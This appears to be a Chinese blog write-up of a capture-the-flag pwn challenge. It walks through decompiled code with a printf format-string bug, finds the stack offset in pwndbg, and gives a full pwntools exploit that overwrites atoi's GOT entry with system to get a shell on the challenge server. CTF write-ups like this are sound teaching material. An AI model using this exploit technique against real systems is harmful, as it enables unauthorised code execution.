[第五空间2019 决赛]PWN5

[第五空间2019 决赛]PWN5

这次我们换一下,尝试只用工具来解题

浅看一下

int __cdecl main(int a1)
{
  unsigned int v1; // eax
  int result; // eax
  int fd; // [esp+0h] [ebp-84h]
  char nptr[16]; // [esp+4h] [ebp-80h] BYREF
  char buf[100]; // [esp+14h] [ebp-70h] BYREF
  unsigned int v6; // [esp+78h] [ebp-Ch]
  int *v7; // [esp+7Ch] [ebp-8h]

  v7 = &a1;
  v6 = __readgsdword(0x14u);
  setvbuf(stdout, 0, 2, 0);
  v1 = time(0);
  srand(v1);
  fd = open("/dev/urandom", 0);
  read(fd, &dword_804C044, 4u);
  printf("your name:");
  read(0, buf, 0x63u);
  printf("Hello,");
  printf(buf);
  printf("your passwd:");
  read(0, nptr, 0xFu);
  if ( atoi(nptr) == dword_804C044 )
  {
    puts("ok!!");
    system("/bin/sh");
  }
  else
  {
    puts("fail");
  }
  result = 0;
  if ( __readgsdword(0x14u) != v6 )
    sub_80493D0();
  return result;
}

image-20220529003454495

因为no pie所以直接可以格式化字符串篡改atoisystem

正好程序里有system函数

image-20220529003711843

如果传入的password值为/bin/sh

这样原本的atoi(nptr)就变成了system("/bin/sh")

这样就可以得到shell了

解题

name传入aaaa

执行过printf

image-20220529005130134

看栈

image-20220529005349863

查看格式化字符串偏移

fmtarg 0xffffd088

pwndbg> fmtarg 0xffffd088
The index of format argument : 10 ("\%9$p")

接下来直接exp

from pwn import *

#p = process('./pwn')
p = remote('node4.buuoj.cn',27363)
elf = ELF('./pwn')

atoi_got = elf.got['atoi']
system_plt = elf.plt['system']

payload=fmtstr_payload(10,{atoi_got:system_plt})

p.sendline(payload)
p.sendline(b'/bin/sh\x00')

p.interactive()

ps:今天新学到了fmtstr_payload

好简单。。。。

posted @ 2022-05-29 00:58  MuRKuo  阅读(905)  评论(1编辑  收藏  举报